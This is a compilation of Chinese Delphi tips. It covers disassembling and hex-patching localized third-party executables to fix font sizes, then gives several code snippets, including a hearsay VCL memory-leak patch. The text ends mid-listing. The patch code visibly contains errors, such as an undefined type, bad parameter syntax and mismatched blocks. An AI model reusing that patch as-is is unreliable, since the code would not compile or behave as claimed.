二、SDK 格式。有些 Delphi 程序为了追求最小的独立可执行文件尺寸，不使用 Delphi 缺省的 VCL 运行库，而是自行使用 SDK 的编程方式，不过这种程序不多，如果有，个头也很小，一般是几Ｋ、十几Ｋ的居多，如果在这些程序里出现字体不协调的问题，可以使用和修改 C 字体字号相同的方法修改。

三、VCL 内部格式。VCL 是 Delphi 使用的函数库，其内部很可能使用了不是我们所希望的“宋体,9”的窗体，不过我想来想去，也只有类似 VB 函数的 InputBox 有这种可能，也就是 CTris2000 中要求输入姓名的那个窗体，故我们要谈的就是这种方式的程序的字体的修改，而且，几乎可以确定的固定在 InputBox 上，当然，即使是这一种情况，也比较类似 C 字体的修改，而不是 VB 。（我不知道 Delphi 中相同功能的函数的函数名，所以暂称其为 InputBox）。

修改过程

我修改的过程比较繁琐，所以在这里剔除复杂的部分，简单的说。

首先，使用 W32dasm 反汇编汉化后的 CTris2000.exe ，存盘，打开 CTris2000.alf 文件，查找 CreateFont ，发现只有 CreateFontIndirectA ，而没有 CreateFontA ，这真是一个烦人的开始。继续查找，发现 CreateFontIndirectA 被三个地方调用，地址分别是 4124EC 、420460 和 42A7F3 。

运行 Trw2000 ，调入 CTris2000.exe ，然后键入“bpx 4124EC”、“bpx 420460” 和 “bpx 42A7F3”设置断点，按“F5”运行，中断时键入“dd *esp”查看堆栈的栈顶指针所指的地址的内容，发现大多数情况此地址的开头都是“FFFFFFF4”，也就是“-12”，是正常的，不过有一次，它是“FFFFFFF5”，也就是“-11”，在它下面一点，我们见到了这种字体的名称“MS Sans Serif”。

用 ResHacker 检查 CTris2000.exe ，发现并不是所有的“MS Sans Serif,8”都被改成了“宋体,9”，所以首先把这些没有改成“宋体,9”的项都改成“宋体,9”，存盘。

用 UEdit 打开 CTris2000.exe ，查找“MS Sans Serif”，只有一个，在 0x5b0b8 处，为了验证，把这个“MS Sans Serif”改成“System”，运行程序，发现那个输入窗体的字体确实如我们所想的变成“宋体,12”了。

0x5b0b8 在数据段，所以，数据基偏移 = 基地址 + 数据RVA - 数据Offset = 400000h + 5c000h - 5ae00 = 401200h ，所以，0x5b0b8 的在代码中为 401200h + 5b0b8 = 45C2B8h 。在 CTris2000.alf 查找“0045C2B8”，没找到，那么，查找“0045C2B”吧，找到几处，如“0045C2B7”、“0045C2B6”和“0045C2B0”，很是奇怪。

运行 Trw2000 ，调入 CTris2000.exe ，像上面一样设断点，运行到有问题的 CreateFontA 的时候，键入“dd 0045C2B0”，看看是什么？原来是“FFFFFFF5”！好吧，把“0045C2B0”当作突破口。

打开 CTris2000.alf ，查找“0045C2B0”，发现两个地方，代码如下：

* Referenced by a CALL at Address:

|:0041979B

|

:00419604 53 push ebx

:00419605 56 push esi

:00419606 57 push edi

:00419607 6A48 push 00000048

:00419609 A1D0E54500 mov eax, dword ptr [0045E5D0]

:0041960E 50 push eax

:0041960F 6A08 push 00000008

* Reference To: kernel32.MulDiv, Ord:0000h

|

:00419611 E836BEFEFF Call 0040544C

:00419616 F7D8 neg eax

:00419618 A3B0C24500 mov dword ptr [0045C2B0], eax

:0041961D A13CD64500 mov eax, dword ptr [0045D63C]

:00419622 80780800 cmp byte ptr [eax+08], 00

:00419626 743A je 00419662

:00419628 E893FFFFFF call 004195C0

:0041962D 8BD8 mov ebx, eax

:0041962F 8BC3 mov eax, ebx

:00419631 2C80 sub al, 80

:00419633 752D jne 00419662

:00419635 BE68964100 mov esi, 00419668

:0041963A BFB7C24500 mov edi, 0045C2B7

:0041963F B904000000 mov ecx, 00000004

:00419644 F3 repz

:00419645 A5 movsd

:00419646 6A48 push 00000048

:00419648 A1D0E54500 mov eax, dword ptr [0045E5D0]

:0041964D 50 push eax

:0041964E 6A09 push 00000009

* Reference To: kernel32.MulDiv, Ord:0000h

|

:00419650 E8F7BDFEFF Call 0040544C

:00419655 F7D8 neg eax

:00419657 A3B0C24500 mov dword ptr [0045C2B0], eax

:0041965C 881DB6C24500 mov byte ptr [0045C2B6], bl

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:

|:00419626(C), :00419633(C)

|

:00419662 5F pop edi

:00419663 5E pop esi

:00419664 5B pop ebx

:00419665 C3 ret

不知道大家是否能大概看懂上面的代码，不过它和我在《C 程序字号的修改》里摘抄的 MSDN 里建议的设置字号的方式是基本一样的：

nHeight = -MulDiv(PointSize, GetDeviceCaps(hDC, LOGPIXELSY), 72);

我们可以看到，“0041960F”处的“6A08”压入的就是磅值，我们需要的是 9 磅的字体，所以把“6A08”改成“6A09”就可以了。代码基偏移 = 基地址 + 代码RVA - 代码Offset = 400000h + 1000h - 400h = 400c00h ，41960fh - 400c00h = 18a0fh ，也就是说“6a08”在 0x18a0f 处。

所以，最后的修改是这样的：把 0x5b0b8 处的 "MS Sans Serif" 改成 "宋体"；把 0x18a0f 处的 6a08 改成 6a09 。

虽然我已经简化了过程，不过好像还是很麻烦，那么有没有什么简单的方法呢？有的。

一、如果实在不会这样的修改方法，也不要留着，把“MS Sans Serif”改成“System”是一种简单有效的方法，遗憾的是字体显得比较大。

二、先把“MS Sans Serif”改成“宋体”，然后用 W32dasm 反编译汉化后的程序并存盘后，用 EmEditor 打开 *.alf 文件，按“Ctrl+F”，出现查找对话框，选择“使用表达式”，在要查找的文本中输入“push 00000008* Reference To: kernel32.MulDiv,”，找到的不会很多，把“08”修改成“09”试一试，直到得到正确的结果。

需要注意，第二种方法只适用于 Delphi 程序的 InputBox 的字体修改，而第一种方法适用于所有程序。另外，我因为没有见到其它类似的 Delphi 程序，也不能肯定第二种方法就是对的，如果各位有见到，不妨一试。

Delphi 字号修改之二

声明

个人可以自由转载本文，不过应保持原文的完整性，并通知我；商业转载先请和我联系。

本文没有任何明确或不明确地提示说本文完全正确，阅读和使用本文的内容是您自己的选择，本人不负任何责任。

如果您发现本文有错漏的地方，请您给我指出；如果有什么不理解的，请您给我提出。

意见、建议和提出的问题最好写在我的主页 http://llf.126.com 的留言版上。

Hint

在上次的 Delphi 消息框字体问题之后，又有汉化人提出 Hint 字体修正的问题，在说这一个问题之前，我们要再熟悉一下微软推荐的字体设置方法：

nHeight = -MulDiv(PointSize, GetDeviceCaps(hDC, LOGPIXELSY), 72);

大家也看到了，最后一个参数是 72 ，也就是十六进制的 0x48 ，而且它是一个常数，所以这样的语句编译到可执行文件中的时候就会出现一个明显的 push 00000048 的语句，而且，因为 72 是最后一个参数，所以这个 push 语句是这一行程序的第一个 push 语句，这样，上次我们介绍的修改消息框的方法就可以用 push 00000048 作为辅助判断方法，据大宇说，用这种方法判断，迄今为止是百发百中的。 :)

而这一次的 Hint 的问题，因为在反编译出来的文件中找不到“push 00000008* Reference To: kernel32.MulDiv,”或上面几行没有“push 00000048”，所以无法找到需要修改的地方，我通过查找代码发现，对于 Hint 的字体设置，其中并不是直接压入 8 ，也就是说没有明显的 push 00000008 ，但是仍然是可以修改的。

以前 ChinEase 曾问过 iProtect SoHo 的字体问题，当时我并不熟悉，以为主界面是使用了枚举的方式设置的字体，觉得不能解决，不过现在才发现其实其主界面字体是可以自己设置的，所以所剩的字体问题仍然是 Hint 的问题，在这里就以 iProtect SoHo 为例说一下。

用 W32dasm 反编译 iprotect.exe ，生成 iprotect.alf ，打开它，查找 push 00000048 ，发现四个，其中后两个一个因为在 call MulDiv 之上的语句是 push 00000009 ，所以已经是 9 磅的字体，另一个后面根本没有 call MulDiv ，所以更不是我们所要找的语句了，剩下的两个如下：

* Referenced by a CALL at Addresses:

|:00412279 , :00416EAA , :0041D93C , :00425408 , :004BAFCA

|:004BB710

|

:0041DB38 53 push ebx

:0041DB39 8BD8 mov ebx, eax

:0041DB3B 8B4314 mov eax, dword ptr [ebx+14]

:0041DB3E 50 push eax

:0041DB3F 6A48 push 00000048

:0041DB41 8BC3 mov eax, ebx

:0041DB43 E864FFFFFF call 0041DAAC

:0041DB48 50 push eax

* Reference To: kernel32.MulDiv, Ord:0000h

|

:0041DB49 E8A67BFEFF Call 004056F4

:0041DB4E F7D8 neg eax

:0041DB50 5B pop ebx

:0041DB51 C3 ret

:0041DB52 8BC0 mov eax, eax

* Referenced by a CALL at Addresses:

|:00412298 , :00416EB9 , :0041AE0F , :0041D945 , :00425417

|:0043CC63 , :0043D62A , :00471F31 , :004914F4 , :0049CB09

|:004B6212 , :004BA4DA , :004BA51E , :004BB720 , :004D4955

|

:0041DB54 53 push ebx

:0041DB55 56 push esi

:0041DB56 8BF2 mov esi, edx

:0041DB58 8BD8 mov ebx, eax

:0041DB5A 6A48 push 00000048

:0041DB5C 8B4314 mov eax, dword ptr [ebx+14]

:0041DB5F 50 push eax

:0041DB60 56 push esi

* Reference To: kernel32.MulDiv, Ord:0000h

|

:0041DB61 E88E7BFEFF Call 004056F4

:0041DB66 8BD0 mov edx, eax

:0041DB68 F7DA neg edx

:0041DB6A 8BC3 mov eax, ebx

:0041DB6C E843FFFFFF call 0041DAB4

:0041DB71 5E pop esi

:0041DB72 5B pop ebx

:0041DB73 C3 ret

可以看到，在 call MulDiv 之上并不是压入的常数，而是寄存器值，而这两段代码其实是函数，所以它是通过别人调用来设置的，这需要跟踪才能知道究竟是谁在调用，我最近发现其实 W32dasm 也可以进行动态跟踪，因为不会中止其它进程，所以我现在比较喜欢用 W32dasm 来跟踪 -- 可以同时听 mp3 。 :) 不过 W32dasm 的跟踪界面有些零乱，我就不介绍了。在这里，跟踪到调用者：

:0041ADFA BA38AE4100 mov edx, 0041AE38

:0041ADFF 8B460C mov eax, dword ptr [esi+0C]

:0041AE02 E8ED2C0000 call 0041DAF4

:0041AE07 BA08000000 mov edx, 00000008

:0041AE0C 8B460C mov eax, dword ptr [esi+0C]

:0041AE0F E8402D0000 call 0041DB54

就是最后一个 call 0041DB54 调用了上面的设置字体的代码，我们发现很明显的上面有一个 mov edx, 00000008 ，我们尝试把它修改成 mov edx, 0000000F ，运行程序，发现 Hint 的字体真的变得很大了，也就是说，改对地方了。

另外，第一句的 mov edx, 0041AE38 其实压入的是字体名，所以最后的修改是：把 0x1a239 处的“MS Sans Serif”改成“宋体”，把 0x1a208 处的 08 改成 09 。（0x1a238 处是字体名的长度计数器，最好也修改成 04）

简单方法

上面的介绍只是为了让大家知道为什么要这样修改，其实是有一种简单的方法找到要修改的地方的。我说过，Delphi 程序员一般不会自己创建字体，所以这里的仍然是 VCL 的问题，而 VCL 编译出来的代码不会因为不同的程序而不同，所以仍然有规律可循。

不知道大家注意到没有，上面修改的地方相差不大，一个 0x1a239 ，一个 0x1a208 ，只相差 0x31 ，对于 UEdit 来说，就是三行多一个字符，其实这就是它的规律，我们可以先找到究竟是哪一个字体名的问题，再向上三行，找到一个“BA 08”，把它改成“BA 09”就可以了，我修改的几个程序用这种方法的成功率目前也是百分之百的。:)

至于怎么找到是哪一个字体名的问题，我就不说了 -- 顶多一个一个的改成“System”进行测试，一定可以找到的。 :)


从资源中读取JPEG

uses Jpeg;

procedure LoadJPEGFromRes(TheJPEG : string;

ThePicture : TPicture);

var

ResHandle : THandle;

MemHandle : THandle;

MemStream : TMemoryStream;

ResPtr : PByte;

ResSize : Longint;

JPEGImage : TJPEGImage;

begin

ResHandle := FindResource(hInstance, PChar(TheJPEG), 'JPEG');

MemHandle := LoadResource(hInstance, ResHandle);

ResPtr := LockResource(MemHandle);

MemStream := TMemoryStream.Create;

JPEGImage := TJPEGImage.Create;

ResSize := SizeOfResource(hInstance, ResHandle);

MemStream.SetSize(ResSize);

MemStream.Write(ResPtr^, ResSize);

FreeResource(MemHandle);

MemStream.Seek(0, 0);

JPEGImage.LoadFromStream(MemStream);

ThePicture.Assign(JPEGImage);

JPEGImage.Free;

MemStream.Free;

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

LoadJPEGFromRes('MYJPEG', Image1.Picture);

end;


delphi中如何检测内存泄露

内存泄漏

发信人: flier (flier), 信区: Delphi

标 题:delphi中如何检测内存泄露(null)

试试偶这个内存使用监视器:)

用法非常简单，在你的project source里把

应用这个单元的那句放到最前，如

...

uses

MemoryManager in '...pas',

Forms,

Main in 'Main.pas' {frmMain},

...

修改自Delphi Developer's Handbook……

代码如下……

unit MemoryManager;

interface

var

GetMemCount: Integer = 0;

FreeMemCount: Integer = 0;

ReallocMemCount: Integer = 0;

var

mmPopupMsgDlg: Boolean = True;

mmSaveToLogFile: Boolean = True;

mmErrLogFile: string = '';

procedure SnapToFile(Filename: string);

implementation

uses

Windows, SysUtils, TypInfo;

const

MaxCount = High(Word);

var

OldMemMgr: TMemoryManager;

ObjList: array[0..MaxCount] of Pointer;

FreeInList: Integer = 0;

procedure AddToList(P: Pointer);

begin

if FreeInList > High(ObjList) then

begin

MessageBox(0, '内存管理监视器指针列表溢出，请增大列表项数！', '内存管理监视器', mb_ok);

Exit;

end;

ObjList[FreeInList] := P;

Inc(FreeInList);

end;

procedure RemoveFromList(P: Pointer);

var

I: Integer;

begin

for I := 0 to FreeInList - 1 do

if ObjList[I] = P then

begin

Dec(FreeInList);

Move(ObjList[I + 1], ObjList[I], (FreeInList - I) * SizeOf(Pointer));

Exit;

end;

end;

procedure SnapToFile(Filename: string);

var

OutFile: TextFile;

I, CurrFree, BlockSize: Integer;

HeapStatus: THeapStatus;

Item: TObject;

ptd: PTypeData;

ppi: PPropInfo;

begin

AssignFile(OutFile, Filename);

try

if FileExists(Filename) then

Append(OutFile)

else

Rewrite(OutFile);

CurrFree := FreeInList;

HeapStatus := GetHeapStatus; { 局部堆状态 }

with HeapStatus do

begin

writeln(OutFile, '--');

writeln(OutFile, DateTimeToStr(Now));

writeln(OutFile);

write(OutFile, '可用地址空间 : ');

write(OutFile, TotalAddrSpace div 1024);

writeln(OutFile, ' 千字节');

write(OutFile, '未提交部分 : ');

write(OutFile, TotalUncommitted div 1024);

writeln(OutFile, ' 千字节');

write(OutFile, '已提交部分 : ');

write(OutFile, TotalCommitted div 1024);

writeln(OutFile, ' 千字节');

write(OutFile, '空闲部分 : ');

write(OutFile, TotalFree div 1024);

writeln(OutFile, ' 千字节');

write(OutFile, '已分配部分 : ');

write(OutFile, TotalAllocated div 1024);

writeln(OutFile, ' 千字节');

write(OutFile, '地址空间载入 : ');

write(OutFile, TotalAllocated div (TotalAddrSpace div 100));

writeln(OutFile, '%');

write(OutFile, '全部小空闲内存块 : ');

write(OutFile, FreeSmall div 1024);

writeln(OutFile, ' 千字节');

write(OutFile, '全部大空闲内存块 : ');

write(OutFile, FreeBig div 1024);

writeln(OutFile, ' 千字节');

write(OutFile, '其它未用内存块 : ');

write(OutFile, Unused div 1024);

writeln(OutFile, ' 千字节');

write(OutFile, '内存管理器消耗 : ');

write(OutFile, Overhead div 1024);

writeln(OutFile, ' 千字节');

end;

writeln(OutFile);

write(OutFile, '内存对象数目 : ');

writeln(OutFile, CurrFree);

for I := 0 to CurrFree - 1 do

begin

write(OutFile, I: 4);

write(OutFile, ') ');

write(OutFile, IntToHex(Cardinal(ObjList[I]), 16));

write(OutFile, ' - ');

BlockSize := PDWORD(DWORD(ObjList[I]) - 4)^;

write(OutFile, BlockSize: 4);

write(OutFile, '($' + IntToHex(BlockSize, 4) + ')字节');

write(OutFile, ' - ');

try

Item := TObject(ObjList[I]);

// code not reliable

{ write (OutFile, Item.ClassName);

write (OutFile, ' (');

write (OutFile, IntToStr (Item.InstanceSize));

write (OutFile, ' bytes)');}

// type info technique

if PTypeInfo(Item.ClassInfo).Kind <> tkClass then

write(OutFile, '不是对象')

else

begin

ptd := GetTypeData(PTypeInfo(Item.ClassInfo));

// name, 如果是TComponent

ppi := GetPropInfo(PTypeInfo(Item.ClassInfo), 'Name');

if ppi <> nil then

begin

write(OutFile, GetStrProp(Item, ppi));

write(OutFile, ' : ');

end

else

write(OutFile, '(未命名): ');

write(OutFile, PTypeInfo(Item.ClassInfo).Name);

write(OutFile, ' (');

write(OutFile, ptd.ClassType.InstanceSize);

write(OutFile, ' 字节) - In ');

write(OutFile, ptd.UnitName);

write(OutFile, '.pas');

end

except

on Exception do

write(OutFile, '不是对象');

end;

writeln(OutFile);

end;

finally

CloseFile(OutFile);

end;

end;

function NewGetMem(Size: Integer): Pointer;

begin

Inc(GetMemCount);

Result := OldMemMgr.GetMem(Size);

AddToList(Result);

end;

function NewFreeMem(P: Pointer): Integer;

begin

Inc(FreeMemCount);

Result := OldMemMgr.FreeMem(P);

RemoveFromList(P);

end;

function NewReallocMem(P: Pointer; Size: Integer): Pointer; begin

Inc(ReallocMemCount);

Result := OldMemMgr.ReallocMem(P, Size);

RemoveFromList(P);

AddToList(Result);

end;

const

NewMemMgr: TMemoryManager = (

GetMem: NewGetMem;

FreeMem: NewFreeMem;

ReallocMem: NewReallocMem);

initialization

GetMemoryManager(OldMemMgr);

SetMemoryManager(NewMemMgr);

finalization

SetMemoryManager(OldMemMgr);

if (GetMemCount - FreeMemCount) <> 0 then

begin

if mmPopupMsgDlg then

MessageBox(0, PChar(Format('出现%d处内存漏洞: ',

[GetMemCount - FreeMemCount])), '内存管理监视器', mb_ok);

if mmErrLogFile = '' then

mmErrLogFile := ExtractFileDir(ParamStr(0)) + '.Log';

if mmSaveToLogFile then

SnapToFile(mmErrLogFile);

end;

end.

附件: MemoryManager.pas


枚举工程Exe中所有的TForm

枚举工程Exe中所有的TForm？enumerate all TForms of a Project?

function EnumResTypes(hMod: THandle; restype, resname: PChar; Lines: TStrings): BOOL; stdcall;

var

ms: TMemoryStream;

rs: TResourceStream;

S: string;

i: Integer;

begin

Result := True;

SetLength(S, 10000);

if Assigned(resname) then

begin

rs := TResourceStream.Create(hinstance, resname, restype);

try

try

ms := TMemoryStream.Create;

try

ObjectBinaryToText(rs, ms);

SetLength(S, ms.Size);

ms.Position := 0;

ms.read(S[1], ms.Size);

Lines.Add(resname);

Lines.Add('Length of data is ' + IntToStr(Length(S)));

i := Pos(#13, S);

if i > 0 then

begin

SetLength(S, i - 1);

Lines.Add(S);

i := Pos('object', S);

if i > 0 then

begin

Delete(S, 1, i + 6);

i := Pos(' ', S);

if i > 0 then

begin

Lines.Add('Form name is: ' + Copy(S, 1, i - 2));

Delete(S, 1, i);

Lines.Add('Form class is: ' + S);

end;

end

end

else

begin

// Lines.Add('This resource seems not to hold a form');

end;

finally

ms.Free

end;

except

// Lines.Add('This resource is not a form resource');

end;

finally

rs.Free;

end;

end;

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

if not EnumResourceNames(0, RT_RCDATA, @EnumResTypes, Integer(Memo1.Lines)) then

Memo1.Lines.Add('Error, GetLastError Returns ' + IntToHex(GetLastError, 8));

end;


据说是修正Delphi VCL内存泄漏用的

{ 需要修改Forms.pas单元或这是其他单元中相应的代码 }

// While discussing one memory leak in Russian FidoNet Delphi conference, it

// seemed to turn out that Object Instancing is subject to be buggy.

// I tried to mend those problem. Thanx to anyone, who's posts i used in this patch

// These are changes for forms.pas (Delphi 5 and prior) or classes.pas (Delphi 6 or above)

// Made by Arioch@nm.ru

// PS: I wonder if publishing bugfixes to Borland's RTL violates its licanse, since bugfix

// is certainly a 'derived software'

// Resume of trouble:

// Seems that MakeObjInstance been made in Delphi 1, where it tried to mimic MS-DOS styled

// chained lists (file handles, fcbs, mcbs, disk buffers, etc...)

// But the job was not finished and so there is an issues:

// 1) if one uses dll's with forms, Delphi leaks 4kb of RAM at each freeing of the last form,

// created in DLL.

// 2) more generic: RAM will leak at each subsequent call to MakeObjInstance having (mod 314 = 0)

// i hope it will fix it.

const

InstanceCount = 313;

{ Object instance management }

type

PObjectInstance = ^TObjectInstance;

TObjectInstance = packed record

Code: Byte;

Offset: Integer;

case Integer of

0: (Next: PObjectInstance);

1: (Method: TWndMethod);

end;

type

PInstanceBlock = ^TInstanceBlock;

TInstanceBlock = packed record

Next: PInstanceBlock;

Counter: word; //Arioch - aligning WndProcPtr to 32-bit boundary.

// We sure can add this after Instances to keep binary compatibility,

// but possibly loose in spead since no boundary for pointer and since

// counter would not be cached in CPU when reading record header

// after this addition record size is 4094 bytes. There are 2 bytes more for a i386 page

Code: array[1..2] of Byte;

WndProcPtr: Pointer;

Instances: array[0..InstanceCount] of TObjectInstance;

end;

var

InstBlockList: PInstanceBlock;

InstFreeList: PObjectInstance;

InstCritSect: TCriticalSection; //Arioch: multi-thread blocker

implementation

uses SyncObjs, //Arioch: add the rest of uses clause.... Need TCriticalSection from unit.

function CalcJmpOffset(Src, Dest: Pointer): Longint;

begin

Result := Longint(Dest) - (Longint(Src) + 5);

end;

function CalcJmpTarget(Src: Pointer, Offs: integer): Pointer; //Arioch

begin

Integer(Result) := Offs + (Longint(Src) + 5);

end;

function GetInstanceBlock(ObjectInstance: Pointer): PInstanceBlock; //Arioch

var oi: PObjectInstance absolute ObjectInstance; //i'mm to lazy to use with and typecast :-)

begin Result := nil; if ObjectInstance = nil then exit;

Pointer(Result) := CalcJmpTarget(ObjectInstance, oi^.Offset)

- sizeof(TInstanceBlock.Counter) - sizeof(TInstanceBlock.Next);

end;

function MakeObjectInstance(Method: TWndMethod): Pointer;

const

BlockCode: array[1..2] of Byte = (

$59, { POP ECX }

$E9); { JMP StdWndProc }

PageSize = 4096;

var

Block: PInstanceBlock;

Instance: PObjectInstance;

begin

try InstCritSect.Enter;

if InstFreeList = nil then

begin

Block := VirtualAlloc(nil, PageSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

Block^.Next := InstBlockList; //Arioch: seems inherited from D1 -

// not finished MS-DOS styled array-chains model

// Move(BlockCode, Block^.Code, SizeOf(BlockCode));

//Arioch: since the procedure is not inline - it is CPU loss

Word(Block^.Code) := Word(BlockCode);

//Arioch: here we assume size of 2 bytes - but here is so lot of hacks, that one more will not hurt

Block^.WndProcPtr := Pointer(CalcJmpOffset(@Block^.Code[2], @StdWndProc));

Block^.Counter := 0; // Arioch: here we will init counter

Instance := @Block^.Instances;

repeat

Instance^.Code := $E8; { CALL NEAR PTR Offset }

Instance^.Offset := CalcJmpOffset(Instance, @Block^.Code);

Instance^.Next := InstFreeList; //Nil, then prev. Instance

InstFreeList := Instance;

//Inc(Longint(Instance), SizeOf(TObjectInstance));

//Arioch: LongInt? certainly D1 code, not even D3! Let's avoid misty code!

Instance := Succ(Instance);

until Longint(Instance) - Longint(Block) >= SizeOf(TInstanceBlock);

InstBlockList := Block;

end;

Result := InstFreeList;

Instance := InstFreeList;

InstFreeList := Instance^.Next;

Instance^.Method := Method;

Inc(GetInstanceBlock(Instance)^.Counter); //Arioch: need not check for overflow

// since last one will have NExt = nil, making RTL to allocate new block

finally InstCritSect.Leave; end;

end;

function FreeInstanceBlock(block: pointer): boolean;

var bi: PInstanceBlock absolute block;

oi, poi, noi: PObjectInstance; // needed to free block

begin

Result := false; if bi = nil then exit; if bi^.Counter <> 0 then exit;

oi := InstFreeList; poi := nil;

while oi <> nil do begin

noi := oi^.next;

// Here we must remove instances from the free-list before freeing block

// Othewise MakeObjectInstance will reuse it :-( leading to GPF

// I hope we do not need oi any more! We have bi instead.

if GetInstanceBlock(oi) = bi then // our victim! steal it away!

if poi <> nil then poi^.Next := noi;

if oi = InstFreeList then InstFreeList := noi;

// not effective, but simple, stupid, and solid (i hope)

end;

poi := oi; oi := noi;

end;

VirtualFree(block, 0, MEM_RELEASE); // no more memory leaks! at last! i hope!!!

Result := true;

end;

procedure FreeInstanceBlocks; //Garbage collection. Queerest of the queer.

var pbi, bi, nbi: PBlockInstance;

begin

pbi := nil; bi := InstBlockList;

while bi <> nil do begin

nbi := bi^.Next;

if FreeInstanceBlock(bi) then begin

if pbi <> nil then pbi^.Next := nbi;

if bi = InstBlockList then InstBlockList := nbi;

// not effective, but simple, stupid, and solid (i hope)

end;

pbi := bi; bi := nbi;

end;

end;

{ Free an object instance }

procedure FreeObjectInstance(ObjectInstance: Pointer);

var bi: PInstanceBlock; i: integer; //Arioch

oi: PObjectInstance absolute ObjectInstance; //i'm to lazy to use with and typecast :-)

begin

if ObjectInstance <> nil then

try InstCritSect.Enter;

bi := GetInstanceBlock(ObjectInstance); // what the block did we cleaned a bit?

if bi = nil then exit; // i cannot tell how may this be - but it is a crush!

if (bi^.Counter <= 0) or (bi^.Counter > InstanceCount + 1) then exit;

// crash! it was not TObjectInstance???

PObjectInstance(ObjectInstance)^.Next := InstFreeList;

InstFreeList := ObjectInstance;

//saving freed instance for the further re-use in never-sorting list.

//maybe it would be better to keep tracks in easc of blocks separately

//(for example checking if Instance^.Next=nil), but... To much to change.

Dec(bi^.Counter); if bi^.Counter <= 0 then FreeInstanceBlocks;

//full garbage collection - no one tells that we're freeing the top block!

finally InstCritSect.Leave; end;

end;

initialization

InstCritSect := TCriticalSection.Create();

//Arioch: here put the rest of original initialisation of unit

finalization

InstCritSect.Free();

//Arioch: here put the rest of original finalisation of unit


让你的程序一劳永逸在Winxp中有XP风格的资源
请用附件覆盖Delphi安装目录下下的同名文件即可。

附件：controls.res


把Delphi6格式的dfm文件内容转换为Delphi5格式

把Delphi6格式的dfm文件内容转换为Delphi5格式

uses

Class, RTLConsts, TypInfo;

function ConvertForm(AFormString: string): string;

var

lSrc, lDest: TStringStream;

lBin: TMemoryStream;

begin

lSrc := TStringStream.Create(AFormString);

lDest := TStringStream.Create('');

lBin := TMemoryStream.Create;

try

ObjectTextToBinary(lSrc, lBin);

lBin.Seek(0, soFromBeginning);

ObjectBinaryToTextEx(lBin, lDest);

Result := lDest.DataString;

finally

lSrc.Free;

lDest.Free;

lBin.Free;

end;

end;

其中ObjectBinaryToTextEx是照抄了class.pas中的ObjectBinaryToText过程，改了一点点内容:

case Reader.NextValue of

vaWString, vaUTF8String:

begin

// 此处修改为:

S := Reader.ReadWideString;

ConvertString;

end;

vaString, vaLString:

begin

// 此处修改为:

S := Reader.ReadString;

ConvertString;

end;

end;

修改后的代码如下：

procedure ObjectBinaryToTextEx(Input, Output: TStream);

var

NestingLevel: Integer;

SaveSeparator: Char;

Reader: TReader;

Writer: TWriter;

ObjectName, PropName: string;

procedure WriteIndent;

const

Blanks: array[0..1] of Char = ' ';

var

I: Integer;

begin

for I := 1 to NestingLevel do

Writer.Write(Blanks, SizeOf(Blanks));

end;

procedure WriteStr(const S: string);

begin

Writer.Write(S[1], Length(S));

end;

procedure NewLine;

begin

WriteStr(sLineBreak);

WriteIndent;

end;

procedure ConvertValue; forward;

procedure ConvertHeader;

var

ClassName: string;

Flags: TFilerFlags;

Position: Integer;

begin

Reader.ReadPrefix(Flags, Position);

ClassName := Reader.ReadStr;

ObjectName := Reader.ReadStr;

WriteIndent;

if ffInherited in Flags then

WriteStr('inherited ')

else if ffInline in Flags then

WriteStr('inline ')

else

WriteStr('object ');

if ObjectName <> '' then

begin

WriteStr(ObjectName);

WriteStr(': ');

end;

WriteStr(ClassName);

if ffChildPos in Flags then

begin

WriteStr(' [');

WriteStr(IntToStr(Position));

WriteStr(']');

end;

if ObjectName = '' then

ObjectName := ClassName; // save for error reporting

WriteStr(sLineBreak);

end;

procedure ConvertBinary;

const

BytesPerLine = 32;

var

MultiLine: Boolean;

I: Integer;

Count: Longint;

Buffer: array[0..BytesPerLine - 1] of Char;

Text: array[0..BytesPerLine * 2 - 1] of Char;

begin

Reader.ReadValue;

WriteStr('{');

Inc(NestingLevel);

Reader.Read(Count, SizeOf(Count));

MultiLine := Count >= BytesPerLine;

while Count > 0 do

begin

if MultiLine then

NewLine;

if Count >= 32 then

I := 32

else

I := Count;

Reader.Read(Buffer, I);

BinToHex(Buffer, Text, I);

Writer.Write(Text, I * 2);

Dec(Count, I);

end;

Dec(NestingLevel);

WriteStr('}');

end;

procedure ConvertProperty; forward;

procedure ConvertValue;

const

LineLength = 64;

var

I, J, K, L: Integer;

S: string;

LineBreak: Boolean;

procedure ConvertString;

begin

L := Length(S);

if L = 0 then

WriteStr('''''')

else

begin

I := 1;

Inc(NestingLevel);

try

if L > LineLength then

NewLine;

K := I;

repeat

LineBreak := False;

if (S[I] >= ' ') and (S[I] <> '''') then

begin

J := I;

repeat

Inc(I)

until (I > L) or (S[I] < ' ') or (S[I] = '''') or

((I - K) >= LineLength);

if ((I - K) >= LineLength) then

begin

LIneBreak := True;

if ByteType(S, I) = mbTrailByte then

Dec(I);

end;

WriteStr('''');

Writer.Write(S[J], I - J);

WriteStr('''');

end

else

begin

WriteStr('#');

WriteStr(IntToStr(Ord(S[I])));

Inc(I);

if ((I - K) >= LineLength) then

LineBreak := True;

end;

if LineBreak and (I <= L) then

begin

WriteStr(' +');

NewLine;

K := I;

end;

until I > L;

finally

Dec(NestingLevel);

end;

end;

end;

begin

case Reader.NextValue of

vaList:

begin

Reader.ReadValue;

WriteStr('(');

Inc(NestingLevel);

while not Reader.EndOfList do

begin

NewLine;

ConvertValue;

end;

Reader.ReadListEnd;

Dec(NestingLevel);

WriteStr(')');

end;

vaInt8, vaInt16, vaInt32:

WriteStr(IntToStr(Reader.ReadInteger));

vaExtended:

WriteStr(FloatToStr(Reader.ReadFloat));

vaSingle:

WriteStr(FloatToStr(Reader.ReadSingle) + 's');

vaCurrency:

WriteStr(FloatToStr(Reader.ReadCurrency * 10000) + 'c');

vaDate:

WriteStr(FloatToStr(Reader.ReadDate) + 'd');

vaWString, vaUTF8String:

begin

S := Reader.ReadWideString;

ConvertString;

end;

vaString, vaLString:

begin

S := Reader.ReadString;

ConvertString;

end;

vaIdent, vaFalse, vaTrue, vaNil, vaNull:

WriteStr(Reader.ReadIdent);

vaBinary:

ConvertBinary;

vaSet:

begin

Reader.ReadValue;

WriteStr('[');

I := 0;

while True do

begin

S := Reader.ReadStr;

if S = '' then

Break;

if I > 0 then

WriteStr(', ');

WriteStr(S);

Inc(I);

end;

WriteStr(']');

end;

vaCollection:

begin

Reader.ReadValue;

WriteStr('<');

Inc(NestingLevel);

while not Reader.EndOfList do

begin

NewLine;

WriteStr('item');

